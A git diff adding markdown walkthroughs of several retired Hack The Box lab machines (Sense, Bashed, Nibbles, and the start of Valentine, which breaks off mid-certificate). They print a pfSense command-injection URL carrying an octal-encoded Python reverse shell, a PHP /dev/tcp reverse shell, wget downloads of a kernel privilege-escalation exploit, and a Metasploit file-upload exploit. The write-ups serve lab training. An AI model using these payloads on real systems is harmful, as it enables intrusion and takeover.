b/Easy/14.md new file mode 100644 index 0000000..b535c10 --- /dev/null +++ b/Easy/14.md @@ -0,0 +1,157 @@ +# Sense Writeup + +![](img/14.png) + +## Introduction : + +Sense is an easy FreeBSD box that was released back in October 2017. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ nihilist [ 10.10.14.48/23 ] [~] → nmap -sC -sV 10.10.10.60 + Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-21 13:32 CET + Nmap scan report for 10.10.10.60 + Host is up (0.13s latency). + Not shown: 998 filtered ports + PORT STATE SERVICE VERSION + 80/tcp open http lighttpd 1.4.35 + |_http-server-header: lighttpd/1.4.35 + |_http-title: Did not follow redirect to https://10.10.10.60/ + |_https-redirect: ERROR: Script execution failed (use -d to debug) + 443/tcp open ssl/http lighttpd 1.4.35 + |_http-server-header: lighttpd/1.4.35 + |_http-title: Login + | ssl-cert: Subject: commonName=Common Name (eg, YOUR name)/organizationName=CompanyName/stateOrProvinceName=Somewhere/countryName=US + | Not valid before: 2017-10-14T19:21:35 + |_Not valid after: 2023-04-06T19:21:35 + |_ssl-date: TLS randomness does not represent time + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 44.03 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up that the 80th port was opened. let's open see what lies at the corresponding URL within a web browser. + +![](prg/14_001.png) + +Seems like we are greeted with a pfSense login page. We are going to run a dirbusting command to enumerate the directories available on the webservice. + + + λ nihilist [ 10.10.14.48/23 ] [~] → gobuster -w /usr/wordlists/directory.txt -u http://10.10.10.60/ -x php,txt,cnf,conf + + +Gobuster found the cmd.txt, system.txt and changelog.txt + +![](prg/14_002.png) + +Navigating to the system-users.txt we seem to have a username to work with. We'll test if we can log in using the default credentials **rohit:pfsense** + +![](prg/14_003.png) + +And we are logged in ! We see that the system is running FreeBSD 8.3-RELEASE-p16 with an outdated 2.1.3-RELEASE amd64 pfSense, by running a quick searchsploit command with the keywords pfsense 2.1 we see that the service may be vulnerable to Command Injections. + + + λ nihilist [ 10.10.14.48/23 ] [~] → searchsploit Sense 2.1 + --------------------------------------------------------------------------- ---------------------------------------- + Exploit Title | Path + | (/usr/share/exploitdb/) + --------------------------------------------------------------------------- ---------------------------------------- + pfSense 2.1 build 20130911-1816 - Directory Traversal | exploits/php/webapps/31263.txt + pfSense < 2.1.4 - 'status_rrd_graph_img.php' Command Injection | exploits/php/webapps/43560.py + --------------------------------------------------------------------------- ---------------------------------------- + Shellcodes: No Result + + + +Let's first locate the exploit n°43560 on our system and copy it to our current directory. + + + λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Sense] → locate 43560.py + /usr/share/exploitdb/exploits/php/webapps/43560.py + + λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Sense] → cp /usr/share/exploitdb/exploits/php/webapps/43560.py . + + λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Sense] → nano 43560.py + + +looking at the exploit made by [absolomb](https://www.absolomb.com/), we see that the exploit is supposed to exploit a command Injection Vulnerability that can be found within the status_rrd_graph_img php file onto the pfsense webservice. We will need to pass it the --rhost , --lhost, --lport, --username, --password flags. + +## **Part 3 : Getting Root Access** + +Within the exploit the main lines are the following : + + + payload = "" + + # encode payload in octal + for char in command: + payload += ("\\" + oct(ord(char)).lstrip("0o")) + + exploit_url = "https://" + rhost + "/status_rrd_graph_img.php?database=queues;"+"printf+" + "'" + payload + "'|sh" + + +the exploit starts to browse at the url https://10.10.10.60/status_rrd_graph_img.php?database=queues; and from there starts the Command Execution Vulnerability, and we choose whatever command we need to execute. One thing to note though is that the command should be passed onto the URL with an Octal encoded string. rather than attempting to pass it as plain text, if we isolate the octal conversion part it looks like this : + + + λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Sense] → cat exploit.py + #!/usr/bin/env python3 + + command = "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.14.48',443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i'];'" + + payload = "" + + for char in command: + payload += ("\\" + oct(ord(char)).lstrip("0o")) + + print(payload) + + λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Sense] → python exploit.py + \160\171\164\150\157\156\40\55\143\40\47\151\155\160\157\162\164\40\163\157\143\153\145\164\54\163\165\142\160\162\157\143\145\163\163\54\157\163\73\163\75\163\157\143\153\145\164\56\163\157\143\153\145\164\50\163\157\143\153\145\164\56\101\106\137\111\116\105\124\54\163\157\143\153\145\164\56\123\117\103\113\137\123\124\122\105\101\115\51\73\163\56\143\157\156\156\145\143\164\50\50\47\61\60\56\61\60\56\61\64\56\61\60\47\54\64\64\63\51\51\73\157\163\56\144\165\160\62\50\163\56\146\151\154\145\156\157\50\51\54\60\51\73\40\157\163\56\144\165\160\62\50\163\56\146\151\154\145\156\157\50\51\54\61\51\73\40\157\163\56\144\165\160\62\50\163\56\146\151\154\145\156\157\50\51\54\62\51\73\160\75\163\165\142\160\162\157\143\145\163\163\56\143\141\154\154\50\133\47\57\142\151\156\57\163\150\47\54\47\55\151\47\135\73\47 + + + +Now before we run the python script, we ready our terminal with the nc command with the -lvnp flags in order to catch the incoming reverse shell onto the corresponding port. + +_Terminal 1:_ + + + λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Sense] → nc -lvnp 9001 + + +_Terminal 2:_ + + + python 43560.py --rhost 10.10.10.60 --lhost 10.10.14.48 --lport 9001 --username rohit --password pfsense + CSRF token obtained + Running exploit... + Exploit completed + + +_Terminal 1:_ + + + λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Sense] → nc -lvnp 9001 + Connection from 10.10.10.60:34128 + sh: cant access tty; job control turned off + # id + uid=0(root) gid=0(wheel) groups=0(wheel) + # cat /root/root.txt + d0XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + # cat /home/rohit/user.txt + 87XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! The exploit spawned a root shell for us, and we have been able to print both the root and the user flags. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/14_graph.png) + diff --git a/Easy/15.md b/Easy/15.md new file mode 100644 index 0000000..d88e63a --- /dev/null +++ b/Easy/15.md @@ -0,0 +1,286 @@ +# Bashed Writeup + +![](img/15.png) + +## Introduction : + +Bashed is an easy Linux box that was released back in December 2017 + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ nihilist [ 10.10.14.48/23 ] [~] → nmap -sC -sV 10.10.10.68 + Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-21 10:34 CET + Nmap scan report for 10.10.10.68 + Host is up (0.073s latency). + Not shown: 999 closed ports + PORT STATE SERVICE VERSION + 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) + |_http-server-header: Apache/2.4.18 (Ubuntu) + |_http-title: Arrexels Development Site + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 10.27 seconds + + +## **Part 2 : Getting User Access** + +We see that the box has it's 80th port opened. We will run the dirb command to list the directories onto the webserver. + + + λ nihilist [ 10.10.14.48/23 ] [~] → dirb http://10.10.10.68/ + + ----------------- + DIRB v2.22 + By The Dark Raver + ----------------- + + START_TIME: Thu Nov 21 10:44:45 2019 + URL_BASE: http://10.10.10.68/ + WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt + + ----------------- + + GENERATED WORDS: 4612 + + ---- Scanning URL: http://10.10.10.68/ ---- + ==> DIRECTORY: http://10.10.10.68/css/ + ==> DIRECTORY: http://10.10.10.68/dev/ + + +Dirbuster found the /dev directory , let's browse to it to see what it contains. + +![](prg/15_001.png) + +We navigate to the phpbash.php page and we are greeted by a shell session that has the user privileges. + +![](prg/15_002.png) + +And that's how you get the User flag ! Now we will try to spawn a reverse shell to see if we can escalate privileges. + +## **Part 3 : Getting Root Access** + +We will first off all upload a reverse shell written in php, in order to attempt to send a reverse shell connection to our machine. + + + λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Bashed] → nano rev.php + + λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Bashed] → cat rev.php + & /dev/tcp/10.10.14.48/9001 0>&1'"); + ?> + + λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Bashed] → python2 -m SimpleHTTPServer 80 + Serving HTTP on 0.0.0.0 port 80 ... + + +We will be using the wget command on the phpbash shell in order to download our reverse php shell named rev.php + + + www-data@bashed + :/home/arrexel# wget http://10.10.14.48/rev.php + + --2019-11-21 02:34:48-- http://10.10.14.48/rev.php + Connecting to 10.10.14.48:80... connected. + HTTP request sent, awaiting response... 200 OK + Length: 75 [application/octet-stream] + rev.php: Permission denied + + Cannot write to 'rev.php' (Success). + www-data@bashed:/home/arrexel# ls + + user.txt + + +we need to download the reverse php shell into a directory where we have the writing rights. + + + www-data@bashed:/home/arrexel# cd /var/www/html + + www-data@bashed:/var/www/html# cd uploads + + www-data@bashed:/var/www/html/uploads# ls + + index.html + + www-data@bashed:/var/www/html/uploads# wget http://10.10.14.48/rev.php + + --2019-11-21 02:35:39-- http://10.10.14.48/rev.php + Connecting to 10.10.14.48:80... connected. + HTTP request sent, awaiting response... 200 OK + Length: 75 [application/octet-stream] + Saving to: 'rev.php' + + 0K 100% 8.89M=0s + + 2019-11-21 02:35:39 (8.89 MB/s) - 'rev.php' saved [75/75] + + www-data@bashed:/var/www/html/uploads# ls + + index.html + rev.php + + +Let's browse to our reverse shell file and We will be using the nc command with the -lvnp flags in order to catch the incoming reverse shell connection at our 9001 port. + +_Terminal 1:_ + + + λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Bashed] → nc -lvnp 9001 + + +_Terminal 2:_ + + + λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Bashed] → curl -vsk http://10.10.10.68/uploads/rev.php + * Trying 10.10.10.68:80... + * TCP_NODELAY set + * Connected to 10.10.10.68 (10.10.10.68) port 80 (#0) + > GET /uploads/rev.php HTTP/1.1 + > Host: 10.10.10.68 + > User-Agent: curl/7.67.0 + > Accept: */* + > + + + +_Terminal 1:_ + + + λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Bashed] → nc -lvnp 9001 + Connection from 10.10.10.68:44622 + bash: cannot set terminal process group (753): Inappropriate ioctl for device + bash: no job control in this shell + www-data@bashed:/var/www/html/uploads$ id + id + uid=33(www-data) gid=33(www-data) groups=33(www-data) + www-data@bashed:/var/www/html/uploads$ + + +We have been able to get our reverse shell ! we are logged in as www-data. + + + www-data@bashed:/var/www/html/uploads$ sudo -l + sudo -l + Matching Defaults entries for www-data on bashed: + env_reset, mail_badpass, + secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin + + User www-data may run the following commands on bashed: + (scriptmanager : scriptmanager) NOPASSWD: ALL + + +running the sudo command with the -l flag we see that the scriptmanager script can be run as root without any password. + + + www-data@bashed:/var/www/html/uploads$ uname -a + uname -a + Linux bashed 4.4.0-62-generic #83-Ubuntu SMP Wed Jan 18 14:10:15 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux + + +running the uname command with the -a flag we see that the machine is running an outdated kernel version (4.4) we run a quick searchsploit command to try to find out local exploits for us to use. + + + λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Bashed] → searchsploit kernel 4.4 + --------------------------------------------------------------------------- ---------------------------------------- + Exploit Title | Path + | (/usr/share/exploitdb/) + --------------------------------------------------------------------------- ---------------------------------------- + Linux Kernel 2.4.4 < 2.4.37.4 / 2.6.0 < 2.6.30.4 - 'Sendpage' Local Privil | exploits/linux/local/19933.rb + Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/ | exploits/linux_x86/local/9542.c + Linux Kernel 3.10/3.18 /4.4 - Netfilter IPT_SO_SET_REPLACE Memory Corrupti | exploits/linux/dos/39545.txt + Linux Kernel 4.4 (Ubuntu 16.04) - 'BPF' Local Privilege Escalation (Metasp | exploits/linux/local/40759.rb + Linux Kernel 4.4 (Ubuntu 16.04) - 'snd_timer_user_ccallback()' Kernel Poin | exploits/linux/dos/46529.c + Linux Kernel 4.4 - 'rtnetlink' Stack Memory Disclosure | exploits/linux/local/46006.c + Linux Kernel 4.4.0 (Ubuntu 14.04/16.04 x86-64) - 'AF_PACKET' Race Conditio | exploits/linux_x86-64/local/40871.c + Linux Kernel 4.4.0 (Ubuntu) - DCCP Double-Free (PoC) | exploits/linux/dos/41457.c + Linux Kernel 4.4.0 (Ubuntu) - DCCP Double-Free Privilege Escalation | exploits/linux/local/41458.c + Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64) - Netfilter target_offset Out-of- | exploits/linux_x86-64/local/40049.c + Linux Kernel 4.4.0-21 < 4.4.0-51 (Ubuntu 14.04/16.04 x86-64) - 'AF_PACKET' | exploits/linux/local/47170.c + Linux Kernel 4.4.1 - REFCOUNT Overflow Use-After-Free in Keyrings Local Pr | exploits/linux/local/39277.c + Linux Kernel 4.4.1 - REFCOUNT Overflow Use-After-Free in Keyrings Local Pr | exploits/linux/local/40003.c + Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdput()' bpf(BPF_PROG_LOAD) Pr | exploits/linux/local/39772.txt + Linux Kernel < 3.4.5 (Android 4.2.2/4.4 ARM) - Local Privilege Escalation | exploits/arm/local/31574.c + + **Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation | exploits/linux/local/44298.c** + + Linux Kernel < 4.4.0-21 (Ubuntu 16.04 x64) - 'netfilter target_offset' Loc | exploits/linux/local/44300.c + Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04/16.04) - Local Privileg | exploits/linux/local/43418.c + Linux Kernel < 4.4.0/ < 4.8.0 (Ubuntu 14.04/16.04 / Linux Mint 17/18 / Zor | exploits/linux/local/47169.c + --------------------------------------------------------------------------- ---------------------------------------- + Shellcodes: No Result + + +Seems like the exploit n°44298 is a good candidate, we first locate it and then copy it to our current directory + + + λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Bashed] → locate 44298.c + /home/nihilist/_HTB/Bashed/44298.c + /usr/share/exploitdb/exploits/linux/local/44298.c + + λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Bashed] → cp /usr/share/exploitdb/exploits/linux/local/44298.c . + + +Now that we have the exploit written in C, we are going to use the gcc command compile the script into an executable binary + + + λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Bashed] → gcc -o 44298 -m64 44298.c + + + + λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Bashed] → ls + 44298 44298.c progress.graphml rev.php + + λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Bashed] → python2 -m SimpleHTTPServer 80 + Serving HTTP on 0.0.0.0 port 80 ... + + +Back to our reverse shell connection as www-data, we will use the wget command once again to download our executable named 44298. + + + www-data@bashed:/var/www/html/uploads$ wget http://10.10.14.48/44298 + wget http://10.10.14.48/44298 + --2019-11-21 02:54:01-- http://10.10.14.48/44298 + Connecting to 10.10.14.48:80... connected. + HTTP request sent, awaiting response... 200 OK + Length: 17872 (17K) [application/octet-stream] + Saving to: '44298' + + 0K .......... ....... 100% 206K=0.08s + + 2019-11-21 02:54:02 (206 KB/s) - '44298' saved [17872/17872] + + + +let's execute our binary file and see if we can escalate privileges. + + + www-data@bashed:/var/www/html/uploads$ ./44298 + ./44298 + bash: ./44298: Permission denied + + +We need to change permissions on our binary in order to execute it using the chmod command. + + + www-data@bashed:/var/www/html/uploads$ chmod 775 44298 + chmod 775 44298 + www-data@bashed:/var/www/html/uploads$ ./44298 + ./44298 + whoami + root + id + uid=0(root) gid=0(root) groups=0(root),33(www-data) + cat /root/root.txt + ccXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! Our binary exploit gave us an escalation of privileges, therefore we have been able to print out the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/15_graph.png) + diff --git a/Easy/16.md b/Easy/16.md new file mode 100644 index 0000000..91d3b4a --- /dev/null +++ b/Easy/16.md @@ -0,0 +1,296 @@ +# Nibbles Writeup + +![](img/16.png) + +## Introduction : + +Nibbles is an easy Linux Box that was released back in January 2018. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ nihilist [ 10.10.14.48/23 ] [~] → nmap -sC -sV 10.10.10.75 + Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-21 09:16 CET + Nmap scan report for 10.10.10.75 + Host is up (0.081s latency). + Not shown: 998 closed ports + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA) + | 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA) + |_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519) + 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) + |_http-server-header: Apache/2.4.18 (Ubuntu) + |_http-title: Site doesnt have a title (text/html). + Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 12.83 seconds + + + +## **Part 2 : Getting User Access** + +The previous nmap scan seems to have found a web service running at the 80th port. Let's see what lies at the http://10.10.10.75/ URL using the curl command with the -vsk flags. + + + λ nihilist [ 10.10.14.48/23 ] [~] → curl -vsk http://10.10.10.75/ + * Trying 10.10.10.75:80... + * TCP_NODELAY set + * Connected to 10.10.10.75 (10.10.10.75) port 80 (#0) + > GET / HTTP/1.1 + > Host: 10.10.10.75 + > User-Agent: curl/7.67.0 + > Accept: */* + > + * Mark bundle as not supporting multiuse + < HTTP/1.1 200 OK + < Date: Thu, 21 Nov 2019 08:23:50 GMT + < Server: Apache/2.4.18 (Ubuntu) + < Last-Modified: Thu, 28 Dec 2017 20:19:50 GMT + < ETag: "5d-5616c3cf7fa77" + < Accept-Ranges: bytes + < Content-Length: 93 + < Vary: Accept-Encoding + < Content-Type: text/html + < + **Hello world!** + + + <****!-- /nibbleblog/ directory. Nothing interesting here! --> + * Connection #0 to host 10.10.10.75 left intact + +It seems like there is a comment at the bottom of the page that refers to a directory named "nibbleblog" Let's run the dirb command to see what interesting files we could find in this directory. + + + λ nihilist [ 10.10.14.48/23 ] [~] → dirb http://10.10.10.75/nibbleblog/ + + ----------------- + DIRB v2.22 + By The Dark Raver + ----------------- + + START_TIME: Thu Nov 21 09:27:27 2019 + URL_BASE: http://10.10.10.75/nibbleblog/ + WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt + + ----------------- + + GENERATED WORDS: 4612 + + ---- Scanning URL: http://10.10.10.75/nibbleblog/ ---- + ==> DIRECTORY: http://10.10.10.75/nibbleblog/admin/ + + http://10.10.10.75/nibbleblog/admin.php (CODE:200|SIZE:1401) + + +Dirbuster seems to have found the admin.php page ! We browse to the URL to see what we're dealing with. + +![](prg/16_001.png) + +This login page has been misconfigured because fuzzing just a little with the possible default credentials we find that **"admin:nibbles"** is actually able to log us in ! + +![](prg/16_002.png) + +navigating to the Settings page we see that we're dealing with Nibbleblog 4.0.3 "Coffee" Let's run a quick searchsploit command to try to find out which exploits we could use onto the machine. + + + λ nihilist [ 10.10.14.48/23 ] [~] → searchsploit Nibbleblog 4.0.3 + -------------------------------------------------------------- ---------------------------------------- + Exploit Title | Path + | (/usr/share/exploitdb/) + -------------------------------------------------------------- ---------------------------------------- + Nibbleblog 4.0.3 - Arbitrary File Upload (Metasploit) | exploits/php/remote/38489.rb + -------------------------------------------------------------- ---------------------------------------- + Shellcodes: No Result + + +There seems to be a metasploit script for us to use, that take advantage of an Arbitrary File Upload vulnerability. Let's fire up msfconsole and choose the according script. + + + λ nihilist [ 10.10.14.48/23 ] [~] → msfconsole + [-] ***rtinG the Metasploit Framework console...\ + [-] * WARNING: No database support: No database YAML file + [-] *** + + , , + / \ + ((__---,,,---__)) + (_) O O (_)_________ + \ _ / |\ + o_o \ M S F | \ + \ _____ | * + ||| WW||| + ||| ||| + + + =[ metasploit v5.0.60-dev ] + + -- --=[ 1947 exploits - 1089 auxiliary - 333 post ] + + -- --=[ 556 payloads - 45 encoders - 10 nops ] + + -- --=[ 7 evasion ] + + msf5 > search nibbleblog 4.0.3 + + Matching Modules + ================ + + # Name Disclosure Date Rank Check Description + - ---- --------------- ---- ----- ----------- + 0 auxiliary/dos/android/android_stock_browser_iframe 2012-12-01 normal No Android Stock Browser Iframe DOS + 1 exploit/multi/http/nibbleblog_file_upload 2015-09-01 excellent Yes Nibbleblog File Upload Vulnerability + + + msf5 > use exploit/multi/http/nibbleblog_file_upload + msf5 exploit(multi/http/nibbleblog_file_upload) > show options + + Module options (exploit/multi/http/nibbleblog_file_upload): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + PASSWORD yes The password to authenticate with + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' + RPORT 80 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI / yes The base path to the web application + USERNAME yes The username to authenticate with + VHOST no HTTP server virtual host + + + Exploit target: + + Id Name + -- ---- + 0 Nibbleblog 4.0.3 + + + msf5 exploit(multi/http/nibbleblog_file_upload) > set RHOSTS 10.10.10.75 + RHOSTS => 10.10.10.75 + msf5 exploit(multi/http/nibbleblog_file_upload) > set TARGETURI /nibbleblog/ + TARGETURI => /nibbleblog/ + msf5 exploit(multi/http/nibbleblog_file_upload) > set USERNAME + [-] Unknown variable + Usage: set [option] [value] + + Set the given option to value. If value is omitted, print the current value. + If both are omitted, print options that are currently set. + + If run from a module context, this will set the value in the module + datastore. Use -g to operate on the global datastore + + msf5 exploit(multi/http/nibbleblog_file_upload) > set USERNAME admin + USERNAME => admin + msf5 exploit(multi/http/nibbleblog_file_upload) > set PASSWORD nibbles + PASSWORD => nibbles + msf5 exploit(multi/http/nibbleblog_file_upload) > exploit + + + +We hit exploit and see what results we can get. + + + msf5 exploit(multi/http/nibbleblog_file_upload) > exploit + + [*] Started reverse TCP handler on 10.10.14.48:4444 + [*] Sending stage (38288 bytes) to 10.10.10.75 + [*] Meterpreter session 1 opened (10.10.14.48:4444 -> 10.10.10.75:47254) at 2019-11-21 09:46:53 +0100 + [+] Deleted image.php + ls + + meterpreter > ls + Listing: /var/www/html/nibbleblog/content/private/plugins/my_image + ================================================================== + + Mode Size Type Last modified Name + ---- ---- ---- ------------- ---- + 100644/rw-r--r-- 258 fil 2019-11-21 09:47:03 +0100 db.xml + + meterpreter > sysinfo + Computer : Nibbles + OS : Linux Nibbles 4.4.0-104-generic #127-Ubuntu SMP Mon Dec 11 12:16:42 UTC 2017 x86_64 + Meterpreter : php/linux + + meterpreter > shell + Process 1707 created. + Channel 0 created. + + cat /home/nibbler/user.txt + b0XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +It spawned us a meterpreter session ! We then created a shell , which was logged as the user Nibbler. We have then been able to print out the user flag. + +## **Part 3 : Getting Root Access** + +Let's first get a fully interactive shell using the python pty.spawn one liner. + + + python3 -c 'import pty;pty.spawn("/bin/bash")' + nibbler@Nibbles:/var/www/html/nibbleblog/content/private/plugins/my_image$ cd / + + nibbler@Nibbles:/$ ls + ls + bin home lib64 opt sbin tmp vmlinuz.old + boot initrd.img lost+found proc snap usr + dev initrd.img.old media root srv var + etc lib mnt run sys vmlinuz + + +Let's navigate to /home/nibbler/ and see what we can work with. + + + nibbler@Nibbles:/$ cd home/nibbler + cd home/nibbler + nibbler@Nibbles:/home/nibbler$ ls + ls + personal.zip user.txt + + +There seems to be a zip file here, let's unzip it and see what's inside. + + + nibbler@Nibbles:/home/nibbler$ unzip personal.zip + unzip personal.zip + Archive: personal.zip + creating: personal/ + creating: personal/stuff/ + inflating: personal/stuff/monitor.sh + + nibbler@Nibbles:/home/nibbler$ cd personal/stuff + cd personal/stuff + + nibbler@Nibbles:/home/nibbler/personal/stuff$ ls + ls + monitor.sh + + nibbler@Nibbles:/home/nibbler/personal/stuff$ ls -l + ls -l + total 4 + -rwxrwxrwx 1 nibbler nibbler 4015 May 8 2015 monitor.sh + + +Here is our opportunity ! the monitor.sh script has got the 777 permissions, meaning that we can run commands of our choice within that script, with root permissions. We will try to print out the root flag by writing into the script the cat command. + + + nibbler@Nibbles:/home/nibbler/personal/stuff$ cat /root/root.txt + cat: /root/root.txt: Permission denied + + nibbler@Nibbles:/home/nibbler/personal/stuff$ echo "cat /root/root.txt" > monitor.sh + echo "cat /root/root.txt" > monitor.sh + + nibbler@Nibbles:/home/nibbler/personal/stuff$ sudo -u root ./monitor.sh + sudo -u root ./monitor.sh + sudo: unable to resolve host Nibbles: Connection timed out + b6XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! We have been able to print out the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/16_graph.png) + diff --git a/Easy/17.md b/Easy/17.md new file mode 100644 index 0000000..12d1367 --- /dev/null +++ b/Easy/17.md @@ -0,0 +1,409 @@ +# Valentine Writeup + +![](img/17.png) + +## Introduction : + +Valentine is an easy Linux box that was released back in Febuary 2018. It features a popular CVE called Heartbleed. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ nihilist [ 10.10.14.48/23 ] [~] → nmap -sC -sV 10.10.10.79 + Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-20 18:09 CET + Nmap scan report for 10.10.10.79 + Host is up (0.046s latency). + Not shown: 997 closed ports + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 1024 96:4c:51:42:3c:ba:22:49:20:4d:3e:ec:90:cc:fd:0e (DSA) + | 2048 46:bf:1f:cc:92:4f:1d:a0:42:b3:d2:16:a8:58:31:33 (RSA) + |_ 256 e6:2b:25:19:cb:7e:54:cb:0a:b9:ac:16:98:c6:7d:a9 (ECDSA) + 80/tcp open http Apache httpd 2.2.22 ((Ubuntu)) + |_http-server-header: Apache/2.2.22 (Ubuntu) + |_http-title: Site doesn't have a title (text/html). + 443/tcp open ssl/http Apache httpd 2.2.22 ((Ubuntu)) + |_http-server-header: Apache/2.2.22 (Ubuntu) + |_http-title: Site doesn't have a title (text/html). + | ssl-cert: Subject: commonName=valentine.htb/organizationName=valentine.htb/stateOrProvinceName=FL/countryName=US + | Not valid before: 2018-02-06T00:45:25 + |_Not valid after: 2019-02-06T00:45:25 + |_ssl-date: 2019-11-20T17:09:42+00:00; +10s from scanner time. + Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Host script results: + |_clock-skew: 9s + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 16.74 seconds + + + + + λ nihilist [ 10.10.14.48/23 ] [~] → sslscan 10.10.10.79 + _ + ___ ___| |___ ___ __ _ _ __ + / __/ __| / __|/ __/ _ | _ \ + \__ \__ \ \__ \ (_| (_| | | | | + |___/___/_|___/\___\__,_|_| |_| + + sslscan version 1.10.2 + OpenSSL 1.0.2t 10 Sep 2019 + + + Testing SSL server 10.10.10.79 on port 443 + + + Preferred Server Cipher(s): + TLSv1 256 bits ECDHE-RSA-AES256-SHA + TLS11 256 bits ECDHE-RSA-AES256-SHA + TLS12 256 bits ECDHE-RSA-AES256-GCM-SHA384 + + SSL Certificate: + Certificate blob: + -----BEGIN CERTIFICATE----- + MIIDZzCCAk+gAwIBAgIJAIXsbfXFhLHyMA0GCSqGSIb3DQEBBQUAMEoxCzAJBgNV + BAYTAlVTMQswCQYDVQQIDAJGTDEWMBQGA1UECgwNdmFsZW50aW5lLmh0YjEWMBQG + A1UEAwwNdmFsZW50aW5lLmh0YjAeFw0xODAyMDYwMDQ1MjVaFw0xOTAyMDYwMDQ1 + MjVaMEoxCzAJBgNVBAYTAlVTMQswCQYDVQQIDAJGTDEWMBQGA1UECgwNdmFsZW50 + aW5lLmh0YjEWMBQGA1UEAwwNdmFsZW50aW5lLmh0YjCCASIwDQYJKoZIhvcNAQEB + BQADggEPADCCAQoCggEBAMMoF6z4GSpB0oo/znkcGfT7SPrTLzNrb8ic+aO/GWao + oY35ImIO4Z5FUB9ZL6y6lc+vI6pUyWRADyWoxd3LxByHDNJzEi53ds+JSPs5SuH1 + PUDDtZqCaPaNjLJNP08DCcC6rXRdU2SwV2pEDx+39vsFiK6ywcrepvvFZndGKXVg + 0K+R3VkwOguPhSHlXcgiHFbqei8NJ1zip9YuVUYXhyLVG2ZiJYX6CRw4bRsUnql6 + 4DFNQybOsJHm0JtI2M9PefmvEkTUZeT/d0dWhU076a3bTestKZf4WpqZw60XGmxz + pAQf5dWOqMemIK6K4FC48bLSSN59s4kNtuhtx6OCXpcCAwEAAaNQME4wHQYDVR0O + BBYEFNzWWyJscuATyFWyfLR2Yev1T435MB8GA1UdIwQYMBaAFNzWWyJscuATyFWy + 